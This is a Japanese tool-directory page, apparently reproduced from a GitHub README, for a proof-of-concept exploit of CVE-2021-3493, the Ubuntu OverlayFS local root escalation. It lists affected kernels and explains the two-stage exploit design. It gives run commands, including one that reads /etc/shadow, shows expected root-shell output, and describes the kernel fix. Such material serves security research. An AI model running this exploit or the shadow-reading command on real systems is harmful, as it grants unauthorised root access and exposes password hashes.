Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3493 — CVE-2021-3493の2段階概念実証。Ubuntu OverlayFSを悪用し、ユーザーネームスペースでのファイルケーパビリティ操作を介して、非特権ユーザーからrootへ権限昇格します。 | Kitploit
ツール/GitHubGitHub/0xlane/cve-2021-3493
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHub0xlane/cve-2021-3493

CVE-2021-3493

CVE-2021-3493の2段階概念実証。Ubuntu OverlayFSを悪用し、ユーザーネームスペースでのファイルケーパビリティ操作を介して、非特権ユーザーからrootへ権限昇格します。

リポジトリを見る
102ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3493 — Ubuntu OverlayFS ローカル権限昇格

CVE-2021-3493 の実動する概念実証コードです。これは、Ubuntu カーネルの OverlayFS 実装におけるローカル権限昇格の脆弱性です。

非特権ユーザーは、ユーザー名前空間内でオーバーレイファイルシステムをマウントし、setxattr を使用して任意のファイルケーパビリティを設定できます。カーネルはこれらのケーパビリティの名前空間の出所を検証しないため、init ユーザー名前空間で有効になります — これにより、任意のローカルユーザーが root に権限昇格できます。

影響を受けるバージョン

この脆弱性は Ubuntu 固有です。Ubuntu には非特権オーバーレイマウントを許可するパッチ (FS_USERNS_MOUNT) が含まれていますが、アップストリームのカーネルには含まれていないため、本流の Linux や他のディストリビューションは通常影響を受けません。

ディストリビューションカーネル影響を受ける (修正版)
Ubuntu 20.105.8< 5.8.0-50
Ubuntu 20.04 LTS5.4< 5.4.0-72
Ubuntu 18.04 LTS4.15< 4.15.0-142
Ubuntu 18.04 LTS (HWE)5.3< 5.3.0-73
Ubuntu 16.04 LTS4.4< 4.4.0-209
Ubuntu 14.04 ESM (HWE)4.4< 4.4.0-209

出典: USN-4916-1

動作の仕組み

この PoC は 2 段階の設計を採用しています:

ファイル役割
exploit.cステージ 1 — ユーザー名前空間内にオーバーレイファイルシステムを作成し、rootshell ペイロードをその中にコピーし、すべてのケーパビリティ (all+ep) で security.capability xattr を設定します
rootshell.cステージ 2 — ファイルケーパビリティを利用して setuid(0) を呼び出し、実際の root シェルを起動するクリーンなペイロード

なぜ 2 段階なのか? 元の inspiringz/CVE-2021-3493 PoC では、エクスプロイトがユーザー名前空間内からシェルを exec するため、uid=0 は名前空間のマッピングに過ぎず、本当の root ではありません。本 PoC は、オーバーレイのセットアップ (ユーザー名前空間内の子プロセス) とペイロードの実行 (init 名前空間内の親プロセス) を分離し、真の権限昇格を保証します。

exploit (init ns, uid=1000)
  │
  ├─ fork → child (user ns)
  │    ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
  │    ├─ mount overlayfs
  │    ├─ copy rootshell → overlay merge dir
  │    ├─ setxattr("security.capability", all+ep)   ← vulnerability trigger
  │    └─ exit
  │
  └─ parent (init ns, uid=1000)
       └─ execl("upper/rootshell")
            ├─ kernel loads file capabilities in init ns
            │   CapPrm: 0000003fffffffff
            │   CapEff: 0000003fffffffff
            ├─ setuid(0) → success
            ├─ setgid(0) → success
            └─ exec /bin/bash → real root shell

オリジナル PoC からの修正点

  1. /dev/shm → /tmp: オリジナルは nosuid でマウントされている /dev/shm を使用しているため、exec 時にカーネルがファイルケーパビリティを暗黙に無視してしまいます。本 PoC は /tmp (通常は nosuid なしの ext4) を使用します。

  2. 2 段階ペイロード: オリジナルは自身 (/proc/self/exe) をケーパビリティ保持バイナリとしてコピーしますが、エクスプロイトが unshare を呼び出すため、再実行してもユーザー名前空間に再入するだけです。本 PoC は、ケーパビリティを直接消費する別個の rootshell バイナリを使用します。

テスト環境

OSUbuntu 20.04.1 LTS (Focal Fossa)
カーネル5.4.0-65-generic (脆弱) / 5.4.0-216-generic (修正済み)
構成デフォルトの Ubuntu Server インストール — 無効化した緩和策なし

テストホストは、すべてのデフォルトのセキュリティ機能を有効にした状態の標準的な Ubuntu 20.04 カーネルを使用しています:

  • CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (デフォルト — 非特権ユーザー名前空間を許可)
  • CONFIG_OVERLAY_FS=m (デフォルト — OverlayFS がモジュールとして利用可能)
  • AppArmor 有効、seccomp 有効、KASLR オン、スタックプロテクタ、FORTIFY_SOURCE — すべてデフォルト設定
  • 特別なカーネルコマンドラインパラメータなし (BOOT_IMAGE=... root=... ro)

無効化が必要なセキュリティ機能はありません — このエクスプロイトは、脆弱なカーネルを搭載したデフォルトの Ubuntu 20.04 でそのまま動作します。

ビルドと実行

⚠️ 警告: これは、自分が所有するシステム、または明示的にテストを許可されたシステムでのみ実行してください。このエクスプロイトは実際の root アクセスを付与します。

make
./exploit

デフォルトの動作では、対話型の root シェルが起動します。単一のコマンドを実行することもできます:

./exploit "id && cat /etc/shadow"

想定される出力

============================================
  CVE-2021-3493 OverlayFS Privilege Escalation
  Kernel: 5.4.0-65-generic
  User:   uid=1000(user) gid=1000(user)
============================================

[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...

[*] Before privilege escalation:
    uid=1000(user) gid=1000(user)
[*] Process capabilities:
    CapInh: 0000000000000000
    CapPrm: 0000003fffffffff
    CapEff: 0000003fffffffff
    CapBnd: 0000003fffffffff
    CapAmb: 0000000000000000

[+] After setuid(0) + setgid(0):
    uid=0(root) gid=0(root)

root@host:~#

クリーンアップ

make clean

カーネルの修正

修正済みカーネル (例: Ubuntu 20.04 の >= 5.4.0-70) では、ユーザー名前空間内のオーバーレイ経由で設定されたケーパビリティ xattr が v2 から v3 形式にアップグレードされます。v3 形式には、設定者の init 名前空間における実 UID を記録する rootid フィールドが含まれます。exec 時にカーネルは rootid をチェックし、0 でない場合はケーパビリティが拒否されます:

# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000

# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
                           ^^                                      ^^^^^^^^
                           v3                                    rootid=1000

参考情報

  • Ubuntu セキュリティ通知 — CVE-2021-3493
  • NVD — CVE-2021-3493
  • inspiringz によるオリジナル PoC
  • カーネルパッチ (ovl: fix missing negative dentry check)

免責事項

このコードはセキュリティ研究および許可されたテスト専用に提供されています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。作者は不正使用に対する責任を負いません。

ツールをダウンロード